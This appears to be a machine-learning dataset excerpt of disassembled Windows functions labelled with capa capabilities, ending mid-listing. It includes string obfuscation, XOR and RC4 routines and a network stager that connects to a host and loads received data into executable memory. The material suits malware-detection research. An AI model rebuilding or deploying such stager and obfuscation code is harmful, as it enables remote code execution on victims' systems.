joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41716a
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push esi
xor esi, esi
mov dword [ebp - 0x24], 0x485e5808
push edi
mov dword [ebp - 0x20], 0x425f5d5f
mov ecx, esi
mov dword [ebp - 0x1c], 0x4841444b
mov dword [ebp - 0x18], 0x48797108
mov dword [ebp - 0x14], 0x5f4a4841
mov dword [ebp - 0x10], 0x690d404c
mov dword [ebp - 0xc], 0x59465e48
mov dword [ebp - 8], 0x59715d42
mov dword [ebp - 4], 0x4c594c49
mov al, byte [ebp + ecx - 0x24]
xor al, 0x2d
movzx eax, al
mov word [ebp + ecx*2 - 0xc8], ax
inc ecx
cmp ecx, 0x24
jl 0x4171b8
xor eax, eax
mov dword [ebp - 0x20], 0x7e7e6f33
mov word [ebp - 0x80], ax
mov dword [ebp - 0x1c], 0x6f826f72
mov dword [ebp - 0x18], 0x73626a33
mov dword [ebp - 0x14], 0x8075737a
mov dword [ebp - 0x10], 0x522e7b6f
mov dword [ebp - 0xc], 0x82798173
mov dword [ebp - 8], 0x826a7e7d
mov dword [ebp - 4], 0x6f826f72
movq xmm1, qword [ebp + eax - 0x20]
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
psubw xmm1, xmmword [0x428f60]
pand xmm1, xmmword [0x428f90]
movups xmmword [ebp + eax*2 - 0x78], xmm1
add eax, 8
cmp eax, 0x20
jl 0x41720d
mov cx, word [0x42b9bc]
xor eax, eax
mov word [ebp - 0x38], ax
movzx eax, cx
sub eax, 0x2c79b0dd
mov dword [0x42b990], eax
lea eax, [ebp - 0xc8]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x78]
mov dword [ebp - 0x28], eax
mov eax, 0xc987
add cx, ax
push 0x1000
mov word [0x42b9bc], cx
call fcn.0040570b
mov edi, eax
mov eax, 0xd991
and word [0x42b9bc], ax
pop ecx
test edi, edi
je 0x41736b
imul ecx, dword [0x42b990], 0x1d5d
movzx eax, cx
mov edx, 0x5060ff33
imul eax, eax, 0x7bd94d6f
xor ecx, ecx
push 0x800
push edi
push dword [ebp + esi*4 - 0x2c]
inc ecx
mov dword [0x42b990], eax
or eax, 0x32c9
mov word [0x42b9bc], ax
call fcn.00415084
call eax
test eax, eax
je 0x417340
movzx eax, word [0x42b9bc]
xor ecx, ecx
xor eax, 0xb47789b9
mov edx, 0xeeb55893
mov dword [0x42b990], eax
inc ecx
add eax, 0x6a81
push edi
mov word [0x42b9bc], ax
call fcn.00415084
call eax
mov edx, eax
mov eax, dword [0x42b990]
add eax, 0x39c0
mov cx, ax
mov word [0x42b9bc], cx
cmp edx, 0xffffffff
je 0x417347
test dl, 0x10
je 0x417347
and eax, 0x372c
mov ecx, edi
add eax, 0x65c7
mov word [0x42b9bc], ax
movzx eax, ax
add eax, 0x5961da35
mov dword [0x42b990], eax
call fcn.0041736f
mov cx, word [0x42b9bc]
inc esi
cmp esi, 2
jb 0x41729a
movzx eax, cx
imul eax, eax, 0xd7997687
push edi
or eax, 0x9eb73819
mov dword [0x42b990], eax
call fcn.004056f0
pop ecx
pop edi
pop esi
leave
ret
Function at 0x41a933
Capabilities:
Create thread
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov word [ebp - 4], 0xddc3
xor ecx, ecx
mov byte [ebp - 2], 0xc9
mov al, byte [ebp + ecx - 4]
xor al, 0xae
mov byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 3
jl 0x41a945
mov byte [ebp - 5], 0
xor ecx, ecx
mov dword [ebp - 0x14], 0xe1deece9
mov dword [ebp - 0x10], 0xece0efe2
mov word [ebp - 0xc], 0xe2e1
mov al, byte [ebp + ecx - 0x14]
sub al, 0x7d
mov byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0xa
jl 0x41a96f
mov al, byte [0x42ba48]
lea edx, [ebp - 0x20]
sub al, 0x27
mov byte [ebp - 0x16], 0
push esi
lea ecx, [ebp - 8]
mov byte [0x42ba4a], al
call fcn.0041d205
movzx ecx, byte [0x42ba4a]
mov esi, eax
mov edx, dword [0x42ba38]
add ecx, 0x659ba117
add edx, 0x2679e84f
mov dword [0x42ba34], ecx
mov cl, dl
mov dword [0x42ba38], edx
xor cl, 0xef
mov byte [0x42ba4a], cl
test esi, esi
je 0x41ab47
lea ecx, [edx + 0x4d5c573b]
xor edx, 0x1a1f
add edx, 0x4a46
mov dword [0x42ba38], ecx
movzx eax, dx
or eax, 0x7338
imul eax, eax, 0x356ac0f0
push ebx
mov dword [0x42ba34], eax
imul eax, ecx, 0x81e4
mov word [0x42ba48], ax
lea eax, [ebp - 4]
push eax
push esi
call fcn.00405b40
pop ecx
mov edx, eax
mov ecx, esi
call fcn.0040f780
imul edx, dword [0x42ba38], 0xe111d181
mov ebx, eax
pop ecx
movzx ecx, word [0x42ba48]
sub ecx, 0x2d9265f3
mov dword [0x42ba34], ecx
test ebx, ebx
je 0x41ab34
movzx eax, byte [0x42ba4a]
and eax, 0x8f3f69f9
mov dword [ebp - 0x14], ebx
mov dword [0x42ba38], eax
push edi
lea ecx, [eax + 0x15e1d9f8]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
lea eax, [edx + 0x90d]
mov dword [0x42ba34], ecx
or eax, 0x9d75
add cl, 0x66
xor eax, 6
mov byte [0x42ba4a], cl
xor ecx, ecx
push ecx
push ecx
mov word [0x42ba48], ax
lea eax, [ebp - 0x14]
push eax
push 0x41ab4a
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x42ba38]
mov edi, eax
mov edx, ecx
and edx, 0x12
mov word [0x42ba48], dx
test edi, edi
je 0x41ab1d
mov al, byte [0x42ba34]
mov ecx, edx
xor al, 0x12
xor ecx, 0x71c0786e
mov byte [0x42ba4a], al
and edx, 0xfcb
movzx eax, al
push 0xffffffffffffffff
or eax, 0xc1fcb750
mov dword [0x42ba38], ecx
push edi
mov word [0x42ba48], dx
mov dword [0x42ba34], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov al, byte [0x42ba4a]
and al, 0x3e
mov byte [0x42ba4a], al
movzx eax, al
xor eax, 0xa98ef73c
push edi
mov dword [0x42ba34], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x42ba38]
xor cl, 0x79
push ebx
mov byte [0x42ba4a], cl
call fcn.004056f0
mov edx, dword [0x42ba38]
pop ecx
pop edi
imul eax, edx, 0x4ce22828
push esi
mov dword [0x42ba38], eax
call fcn.004056f0
pop ecx
pop ebx
pop esi
leave
ret
Function at 0x41b57e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov dword [ebp - 0x1c], 0x584a5337
xor ecx, ecx
mov dword [ebp - 0x18], 0x4956455b
mov dword [ebp - 0x14], 0x474d3140
mov dword [ebp - 0x10], 0x53575356
mov dword [ebp - 0xc], 0x3340584a
mov dword [ebp - 8], 0x474d4a4a
mov byte [ebp - 4], 0x49
movzx eax, byte [ebp + ecx - 0x1c]
mov edx, 0xff
add ax, 0x1c
and ax, dx
mov word [ebp + ecx*2 - 0x50], ax
inc ecx
cmp ecx, 0x19
jl 0x41b5b4
and byte [0x42ba76], 0x45
lea ecx, [ebp - 0x50]
xor eax, eax
mov word [ebp - 0x1e], ax
call fcn.0041b5e7
leave
ret
Function at 0x41c8df
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [0x42bb4c]
mov ebp, edx
push edi
mov edi, ecx
lea edx, [esp + 0x10]
movzx ecx, byte [0x42bac0]
mov eax, esi
add ecx, 0xfd301511
xor eax, 0x7dc6
mov dword [0x42bb14], ecx
xor bl, bl
or cl, 0xde
mov word [0x42bb2c], ax
movzx eax, cl
imul eax, eax, 0xaa
mov byte [0x42bac0], cl
mov ecx, dword [esp + 0x30]
mov byte [0x42bafa], al
lea eax, [esi - 0x72ddc03]
mov dword [0x42baac], eax
call fcn.00423747
mov edx, dword [0x42bb14]
mov esi, eax
add edx, 0x7cd32daa
mov dword [0x42bb14], edx
test esi, esi
je 0x41ca87
mov dword [esp + 0x14], 0xadb4b1ae
xor ecx, ecx
mov dword [esp + 0x18], 0xadb5a9b6
mov al, byte [esp + ecx + 0x14]
sub al, 0x48
mov byte [esp + ecx + 0x1c], al
inc ecx
cmp ecx, 8
jl 0x41c96f
movzx eax, byte [0x42bae5]
mov ecx, 0x8e7b
push dword [esp + 0x10]
xor ax, cx
mov byte [esp + 0x28], bl
or edx, 0xcbd606b5
mov word [0x42bb2c], ax
mov al, byte [0x42bb4c]
mov ecx, edi
mov dword [0x42bb28], edx
sub al, 0xf
and dl, 0xb3
mov byte [0x42bae5], al
mov byte [0x42bafa], dl
lea edx, [esp + 0x20]
push esi
call fcn.0041cab2
movzx edx, byte [0x42bac0]
mov bl, al
pop ecx
pop ecx
mov cl, byte [0x42bb2c]
xor edx, 0xf927963e
or cl, 0x4d
mov dword [0x42bb14], edx
mov byte [0x42bac0], cl
test bl, bl
je 0x41ca56
mov dword [esp + 0x10], 0x3e37323d
xor ecx, ecx
mov al, byte [esp + ecx + 0x10]
xor al, 0x5b
mov byte [esp + ecx + 0x14], al
inc ecx
cmp ecx, 4
jl 0x41c9fd
mov ecx, dword [0x42bb28]
mov al, cl
push dword [esp + 0x2c]
sub dword [0x42baac], 0x9ba3e34
add al, 0x2b
mov byte [0x42bac0], al
lea eax, [edx + 0x6e3a]
mov word [0x42bb2c], ax
lea edx, [esp + 0x18]
lea eax, [ecx + 0x22cd3aac]
mov byte [esp + 0x1c], 0
push ebp
mov ecx, edi
mov dword [0x42bb14], eax
call fcn.0041cab2
pop ecx
pop ecx
mov bl, al
mov ecx, dword [0x42bb28]
push esi
lea eax, [ecx + 0x587919d]
and cl, 0xac
mov dword [0x42baac], eax
mov eax, dword [0x42bb4c]
add eax, 0xffff987f
mov byte [0x42bae5], cl
mov word [0x42bb2c], ax
call fcn.004056f0
pop ecx
mov eax, dword [0x42bb4c]
and eax, 0xecbd
mov word [0x42bb2c], ax
movzx eax, byte [0x42bafa]
pop edi
or eax, 0x3bf7bdde
pop esi
mov dword [0x42bb4c], eax
mov al, bl
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x41e241
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
xor ebx, ebx
mov word [ebp - 8], 0xb9b3
mov edx, ecx
mov byte [ebp - 6], 0xad
push esi
mov ecx, ebx
mov al, byte [ebp + ecx - 8]
sub al, 0x46
mov byte [ebp + ecx - 0xc], al
inc ecx
cmp ecx, 3
jl 0x41e259
mov byte [ebp - 9], bl
mov ecx, ebx
mov dword [ebp - 0x4c], 0x10130904
mov dword [ebp - 0x48], 0xe160a0e
mov dword [ebp - 0x44], 0x101303ce
mov dword [ebp - 0x40], 0x13061418
mov byte [ebp - 0x3c], 0x14
mov al, byte [ebp + ecx - 0x4c]
add al, 0x5f
mov byte [ebp + ecx - 0x60], al
inc ecx
cmp ecx, 0x11
jl 0x41e28e
mov byte [ebp - 0x4f], bl
mov ecx, ebx
mov dword [ebp - 0x38], 0x20a0c0e
mov dword [ebp - 0x34], 0x1b0b4406
mov dword [ebp - 0x30], 0xc1a1e06
mov word [ebp - 0x2c], 0x1a1b
mov al, byte [ebp + ecx - 0x38]
xor al, 0x69
mov byte [ebp + ecx - 0x4c], al
inc ecx
cmp ecx, 0xe
jl 0x41e2be
mov byte [ebp - 0x3e], bl
mov ecx, ebx
mov dword [ebp - 0x28], 0x7d8c907d
mov dword [ebp - 0x24], 0x87818b86
mov word [ebp - 0x20], 0x8b86
mov al, byte [ebp + ecx - 0x28]
sub al, 0x18
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0xa
jl 0x41e2e7
mov byte [ebp - 0x2e], bl
mov ecx, ebx
mov dword [ebp - 0x1c], 0xacaca1b7
mov word [ebp - 0x18], 0xb4a5
mov byte [ebp - 0x16], 0xb3
mov al, byte [ebp + ecx - 0x1c]
xor al, 0xc0
mov byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 7
jl 0x41e30d
mov byte [ebp - 0x21], bl
mov ecx, ebx
mov dword [ebp - 8], 0x5e65625f
mov byte [ebp - 4], 0x6c
mov al, byte [ebp + ecx - 8]
add al, 7
mov byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jl 0x41e32d
mov byte [ebp - 0x17], bl
mov ecx, ebx
mov dword [ebp - 8], 0x353e3f34
mov al, byte [ebp + ecx - 8]
add al, 0x30
mov byte [ebp + ecx - 0x14], al
inc ecx
cmp ecx, 4
jl 0x41e349
imul eax, dword [0x42baec], 0x5c34
mov byte [ebp - 0x10], bl
movzx esi, ax
mov word [0x42bb3c], ax
mov eax, esi
lea ecx, [eax + 0x23cc2fe8]
mov dword [0x42baec], ecx
sub edx, ebx
je 0x41e414
sub edx, 1
je 0x41e405
sub edx, 1
je 0x41e3fa
sub edx, 1
je 0x41e3eb
sub edx, 1
je 0x41e3ca
sub edx, 1
je 0x41e3b2
and ecx, 0x7c6e
xor eax, eax
mov word [0x42bb3c], cx
jmp 0x41e43c
mov eax, ecx
lea edx, [ebp - 0x14]
xor ecx, 0xdfaeddc3
or eax, 0x7b58
and ecx, 0xa053fe7c
jmp 0x41e428
lea eax, [ecx + 0x5d13]
and eax, 0xa104
lea edx, [ebp - 0x1c]
mov word [0x42bb3c], ax
imul eax, ecx, 0x8389851f
mov dword [0x42baec], eax
jmp 0x41e434
or eax, 0x5a427a12
lea edx, [ebp - 0x28]
mov dword [0x42baec], eax
jmp 0x41e434
lea eax, [ecx - 0xf76]
lea edx, [ebp - 0x38]
jmp 0x41e42e
xor eax, 0x81c732f
lea edx, [ebp - 0x4c]
mov dword [0x42baec], eax
jmp 0x41e434
lea eax, [esi - 0xf69]
and ecx, 0x735adece
and eax, 0x90a3
lea edx, [ebp - 0x60]
mov dword [0x42baec], ecx
mov word [0x42bb3c], ax
lea ecx, [ebp - 0xc]
call fcn.0041c431
pop esi
pop ebx
leave
ret
Function at 0x4203ac
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [0x42bbb0]
sub esp, 0x144
mov cx, word [0x42bbcc]
mov edx, 0xb345
add cx, dx
cmp byte [0x42d230], 0
mov word [0x42bbcc], cx
push ebx
push ebp
push esi
lea esi, [eax - 0x1ca0637b]
push edi
mov dword [0x42bbbc], esi
mov edi, 0x42d230
jne 0x420614
xor ebx, ebx
mov dword [esp + 0x14], 0x622e261b
mov dword [esp + 0x18], 0x2a261b4e
mov edx, ebx
mov dword [esp + 0x1c], 0x621b4e62
mov byte [esp + 0x20], 0x6b
mov al, byte [esp + edx + 0x14]
add al, 0xa
mov byte [esp + edx + 0x38], al
inc edx
cmp edx, 0xd
jl 0x420410
mov eax, 0xb714
mov byte [esp + 0x45], bl
and cx, ax
mov dword [esp + 0x24], ebx
movzx eax, cx
xor esi, 0x3970257e
or eax, 0x576028ce
mov word [0x42bbcc], cx
mov dword [0x42bbb0], eax
mov ebp, 0x104
and eax, 0xbfd056af
mov dword [0x42bbe8], esi
mov dword [0x42bbbc], eax
xor ecx, ecx
imul eax, esi, 0x4a36
xorps xmm0, xmm0
push ebp
mov edx, 0xd2fe083d
movlpd qword [esp + 0x18], xmm0
inc ecx
mov word [0x42bbc4], ax
lea eax, [esp + 0x4c]
push eax
call fcn.00415084
call eax
test eax, eax
jne 0x4204a8
mov eax, dword [0x42bbb0]
add eax, 0x2798
movzx eax, ax
imul edx, eax, 0xd2c79378
mov al, 0x43
mov byte [esp + 0x48], al
jmp 0x4204b2
mov edx, dword [0x42bbe8]
mov al, byte [esp + 0x48]
movzx ecx, word [0x42bbc4]
and edx, 0x75e8ef5
mov byte [esp + 0x14], al
mov eax, 0x1375
or ax, word [0x42bbc4]
mov word [0x42bbcc], ax
mov eax, 0xefe9
imul ecx, eax
push ebx
push ebx
push ebx
push ebx
movzx eax, cx
sub eax, 0x9e6d695
mov dword [0x42bbbc], edx
mov dword [0x42bbe8], eax
xor edx, 0xf42331c8
lea eax, [esp + 0x34]
mov word [0x42bbc4], cx
push eax
push ebx
lea eax, [esp + 0x2c]
mov dword [0x42bbb0], edx
xor ecx, ecx
mov word [esp + 0x2d], 0x5c3a
push ebx
push eax
mov edx, 0x980ded59
mov byte [esp + 0x37], bl
inc ecx
call fcn.00415084
call eax
imul ecx, dword [esp + 0x24], 0x342167
mov eax, 0xf40
add ax, word [0x42bbc4]
mov esi, dword [0x42bbb0]
movzx edx, ax
xor edx, 0x77d49a32
add ecx, 0x3c3a468
mov dword [0x42bbb0], edx
imul eax, ecx, 0x69cc488f
and edx, 0x5ec3a3cc
mov dword [esp + 0x28], ecx
mov ecx, 0x24cc3240
sub ecx, eax
imul eax, dword [0x42bbe8], 0x3ff5
mov dword [esp + 0x24], ecx
mov word [esp + 0x2e], cx
mov dword [0x42bbe8], edx
sub eax, 0x7b9d
movzx ecx, ax
lea eax, [esi + 0x154f10ac]
and eax, 0xf035
movzx esi, ax
mov word [0x42bbcc], ax
mov eax, dword [esp + 0x24]
imul eax, eax, 0x342167
and ecx, 0x7452
xor ecx, 0x87a0
movzx edx, cx
mov word [0x42bbc4], cx
mov ecx, esi
add eax, 0x3c3a468
mov byte [esp + ebx + 0x30], al
inc ebx
cmp ebx, 8
jl 0x4205ac
push dword [esp + 0x32]
mov dword [esp + 0x28], eax
xor ecx, ecx
movzx eax, word [esp + 0x32]
push eax
push dword [esp + 0x30]
imul edx, edx, 0xecb34d1
lea eax, [esp + 0x44]
push eax
push ebp
push edi
mov dword [0x42bbbc], edx
mov edx, 0x534fbfb6
call fcn.00415084
call eax
mov eax, dword [0x42bbb0]
add esp, 0x18
lea ecx, [eax - 0x4ad2]
mov eax, edi
mov word [0x42bbc4], cx
movzx ecx, cx
pop edi
and ecx, 0x970496b5
pop esi
mov dword [0x42bbb0], ecx
add ecx, 0x42dc7b32
pop ebp
mov dword [0x42bbe8], ecx
pop ebx
add esp, 0x144
ret
Function at 0x420ca3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x24
mov al, byte [0x42bc20]
movaps xmm0, xmmword [0x428f40]
push ebx
mov byte [esp + 6], al
movzx eax, word [0x42bc14]
and eax, 0xf8460f3a
mov dword [esp + 0xc], ecx
push ebp
push esi
mov esi, dword [0x42bc18]
lea ebp, [esp + 0x20]
mov dword [0x42bc00], eax
xor ecx, ecx
push edi
mov edi, 0x80000000
add esi, 0x5250
movups xmmword [esp + 0x24], xmm0
mov eax, edi
mov word [0x42bc20], si
cpuid
mov dword [ebp], eax
mov eax, ebp
mov ebp, dword [0x42bc18]
mov dword [esp + 0x1c], edi
mov dword [eax + 4], ebx
mov bx, word [0x42bc14]
mov dword [eax + 8], ecx
sub bl, 0x6e
mov dword [eax + 0xc], edx
mov al, byte [esp + 0x12]
mov ecx, dword [esp + 0x24]
add al, 0x5f
movzx eax, al
and eax, 0xd692a0c7
mov dword [esp + 0x20], ecx
mov dword [0x42bc08], eax
mov byte [0x42bc1c], bl
cmp ecx, edi
jb 0x420f13
add dword [0x42bc18], 0x58a9b65a
mov ecx, 0x9f0
movzx eax, bl
or ebp, 0xd75e
xor ax, cx
mov word [0x42bc04], bp
mov word [esp + 0x12], ax
xor ecx, ecx
mov word [0x42bc14], ax
mov eax, edi
cpuid
lea edi, [esp + 0x24]
mov dword [edi], eax
mov eax, edi
mov edi, dword [esp + 0x1c]
mov dword [eax + 4], ebx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
movzx eax, si
mov esi, dword [esp + 0x18]
or eax, 0x342087cf
mov dword [0x42bc08], eax
imul eax, eax, 0xe6ed
movzx ecx, ax
mov dx, ax
mov dword [esp + 0x14], edx
mov word [0x42bc20], dx
cmp edi, 0x80000002
jne 0x420e05
lea eax, [ecx + 0x307fc318]
mov dword [0x42bc00], eax
and eax, 0x7b0e
mov word [0x42bc14], ax
lea eax, [ecx + 0x2be1b12a]
mov dword [0x42bc18], eax
lea eax, [esp + 0x24]
push 0x10
push eax
push esi
call fcn.00401d70
movzx edx, word [0x42bc20]
add esp, 0xc
mov cx, word [0x42bc14]
mov bp, word [0x42bc04]
mov dword [esp + 0x14], edx
jmp 0x420e0a
mov cx, word [esp + 0x12]
movzx eax, dx
and eax, 0x2d0cf61c
mov dword [0x42bc00], eax
mov al, byte [0x42bc18]
and al, 0x53
mov byte [0x42bc1c], al
cmp edi, 0x80000003
jne 0x420e86
movzx eax, word [0x42bc24]
sub eax, 0x285de4b5
mov dword [0x42bc08], eax
mov eax, 0x15b7
add ax, bp
mov word [0x42bc20], ax
mov eax, 0x6d85
sub cx, ax
lea eax, [esp + 0x24]
push 0x10
push eax
lea eax, [esi + 0x10]
mov word [0x42bc24], cx
push eax
call fcn.00401d70
movzx edx, word [0x42bc20]
add esp, 0xc
mov bl, byte [0x42bc1c]
mov bp, word [0x42bc04]
mov dword [esp + 0x14], edx
jmp 0x420e91
mov bl, dl
and bl, 0xe9
mov byte [0x42bc1c], bl
movzx ecx, bl
mov eax, 0x174f
imul ecx, eax
mov word [0x42bc24], cx
cmp edi, 0x80000004
jne 0x420efa
mov eax, 0xac7c
add dx, ax
mov eax, 0x9a82
or bp, ax
mov word [0x42bc20], dx
mov eax, dword [0x42bc08]
or eax, 0x6f86ab79
mov word [0x42bc04], bp
mov dword [0x42bc18], eax
lea eax, [esp + 0x24]
push 0x10
push eax
lea eax, [esi + 0x20]
push eax
call fcn.00401d70
mov bl, byte [0x42bc1c]
add esp, 0xc
mov si, word [0x42bc20]
jmp 0x420efe
mov esi, dword [esp + 0x14]
mov ebp, dword [0x42bc18]
inc edi
mov dword [esp + 0x1c], edi
cmp edi, dword [esp + 0x20]
jbe 0x420d41
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x4225f6
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0xc0
push ebx
push ebp
push edi
xor edi, edi
mov dword [esp + 0xc], 0x63646566
mov ebp, ecx
mov dword [esp + 0x10], 0x6f606162
mov ebx, edx
mov dword [esp + 0x14], 0x6b6c6d6e
mov dword [esp + 0x18], 0x7768696a
mov ecx, edi
mov dword [esp + 0x1c], 0x73747576
mov dword [esp + 0x20], 0x7f707172
mov dword [esp + 0x24], 0x45467d7e
mov dword [esp + 0x28], 0x41424344
mov dword [esp + 0x2c], 0x4d4e4f40
mov dword [esp + 0x30], 0x494a4b4c
mov dword [esp + 0x34], 0x55565748
mov dword [esp + 0x38], 0x51525354
mov dword [esp + 0x3c], 0x5d5e5f50
mov dword [esp + 0x40], 0x34353637
mov dword [esp + 0x44], 0x30313233
mov word [esp + 0x48], 0x3e3f
mov al, byte [esp + ecx + 0xc]
xor al, 7
movzx eax, al
mov word [esp + ecx*2 + 0x4c], ax
inc ecx
cmp ecx, 0x3e
jl 0x422686
xor eax, eax
mov edx, 0x4440
mov word [esp + 0xc8], ax
mov al, byte [0x42bceb]
and al, 0xb5
movzx ecx, al
mov eax, 0xba80
imul ecx, eax
movzx eax, byte [0x42bc80]
sub ax, dx
push edi
mov word [0x42bc34], ax
mov word [0x42bc88], cx
xor cl, 0xb2
mov byte [0x42bc38], cl
call fcn.00405e33
push eax
call fcn.00405e21
mov al, byte [0x42bc38]
add al, 0x65
mov byte [0x42bceb], al
pop ecx
pop ecx
test ebx, ebx
je 0x422764
push esi
mov al, byte [0x42bc80]
mov edx, 0x34b2
sub al, 0x62
mov byte [0x42bceb], al
mov ax, word [0x42bc34]
mov cx, ax
or cx, dx
mov edx, 0x6612
mov word [0x42bc88], cx
and ax, dx
and cl, 0x9a
mov word [0x42bc34], ax
mov byte [0x42bc38], cl
lea eax, [esp + 0x50]
and cl, 9
push eax
mov byte [0x42bc80], cl
call fcn.0040581e
pop ecx
mov esi, eax
call fcn.00405e00
xor edx, edx
div esi
mov ax, word [esp + edx*2 + 0x50]
mov word [ebp + edi*2], ax
inc edi
cmp edi, ebx
jb 0x4226fa
pop esi
mov al, byte [0x42bc8c]
and al, 0x71
mov byte [0x42bc38], al
xor eax, eax
pop edi
mov word [ebp + ebx*2], ax
pop ebp
pop ebx
add esp, 0xc0
ret
Function at 0x422a56
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov dword [ebp - 0x40], 0xe5e2e3e0
xor ecx, ecx
mov dword [ebp - 0x3c], 0xe9e6e7e4
mov dword [ebp - 0x38], 0xedeaebe8
mov dword [ebp - 0x34], 0xf1eeefec
mov dword [ebp - 0x30], 0xf5f2f3f0
mov dword [ebp - 0x2c], 0xf9f6f7f4
mov dword [ebp - 0x28], 0xc3c0fbf8
mov dword [ebp - 0x24], 0xc7c4c5c2
mov dword [ebp - 0x20], 0xcbc8c9c6
mov dword [ebp - 0x1c], 0xcfcccdca
mov dword [ebp - 0x18], 0xd3d0d1ce
mov dword [ebp - 0x14], 0xd7d4d5d2
mov dword [ebp - 0x10], 0xdbd8d9d6
mov dword [ebp - 0xc], 0xb2b3b0b1
mov dword [ebp - 8], 0xb6b7b4b5
mov word [ebp - 4], 0xb8b9
mov al, byte [ebp + ecx - 0x40]
xor al, 0x81
mov byte [ebp + ecx - 0x80], al
inc ecx
cmp ecx, 0x3e
jl 0x422ad0
movzx eax, byte [0x42bc7a]
and eax, 0x873b6f56
mov byte [ebp - 0x42], 0
imul eax, eax, 0x7679446
push ebx
push esi
push edi
push 0
mov dword [0x42bc48], eax
add al, 0x1c
mov byte [0x42bc7a], al
call fcn.00405e33
push eax
call fcn.00405e21
pop ecx
pop ecx
movzx ecx, byte [0x42bc48]
xor edi, edi
or ecx, 0x34d4b3f5
add ecx, 0x173063a8
add cl, 0x6a
movzx eax, cl
add eax, 0x6a95fae2
mov byte [0x42bc7a], cl
mov dword [0x42bc48], eax
lea eax, [ebp - 0x80]
push eax
call fcn.00405b40
pop ecx
mov esi, eax
call fcn.00405e00
xor edx, edx
mov bl, byte [0x42bc48]
div esi
and bl, 0xa2
movzx eax, bl
imul ecx, eax, 0x24bebc03
mov al, byte [ebp + edx - 0x80]
mov byte [edi + 0x42d000], al
or ecx, 0xa0dbecd4
inc edi
cmp edi, 0x14
jb 0x422b29
and ecx, 0xaed1454c
mov byte [0x42d014], 0
pop edi
add bl, 0x7b
mov dword [0x42bc48], ecx
pop esi
mov byte [0x42bc7a], bl
pop ebx
leave
ret
Function at 0x40c0e0
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
pop edx
lea eax, [ebp - 0x1a4]
push eax
lea eax, [ebp - 0x1e8]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
leave
xor ecx, ecx
cmp ecx, 0x9000001
je 0x40c124
push 0x4026b3
ret
push ebp
mov ebp, esp
add esp, 0xfffffc4c
mov ecx, 0x407210
mov eax, dword [ecx]
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jne 0x40c168
push 0x40
push 0x1000
push 0x100000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
or eax, eax
je 0x40c168
mov dword [ebp - 0x1b4], eax
mov ecx, 0x407210
mov dword [ecx], eax
lea eax, [ebp - 0x18e]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1a4], eax
mov word [ebp - 0x1a0], 2
mov eax, 0x5b6a
mov word [ebp - 0x19e], ax
push 0x4085cc
call dword [sym.imp.WS2_32.dll_gethostbyname]
or eax, eax
jne 0x40c1b2
jmp 0x40c300
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
mov dword [ebp - 0x19c], eax
push 0x10
lea eax, [ebp - 0x1a0]
push eax
push dword [ebp - 0x1a4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40c2fb
push 0
push 4
lea eax, [ebp - 0x1a8]
push eax
push dword [ebp - 0x1a4]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x40c1fe
jmp 0x40c300
pushal
mov edi, dword [ebp - 0x1b4]
jmp 0x40c231
mov ecx, dword [edi]
cmp ecx, dword [ebp - 0x1a8]
jne 0x40c22e
push dword [ebp - 0x1a4]
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, edi
add ecx, 4
push dword [ecx]
call fcn.0040c30e
jmp 0x40c306
add edi, 0x14
cmp dword [edi], 0
jne 0x40c207
popal
push 0
push 4
lea eax, [ebp - 0x1b0]
push eax
push dword [ebp - 0x1a4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40c258
jmp 0x40c300
cmp dword [ebp - 0x1a8], 0
ja 0x40c266
jmp 0x40c300
push 0x40
push 0x1000
push dword [ebp - 0x1a8]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
or eax, eax
je 0x40c2f9
mov edi, eax
mov dword [ebp - 0x1b0], edi
push 0
push dword [ebp - 0x1a8]
push edi
push dword [ebp - 0x1a4]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, dword [ebp - 0x1a8]
jne 0x40c2f7
push 0
push 4
lea eax, [ebp - 0x1b0]
push eax
push dword [ebp - 0x1a4]
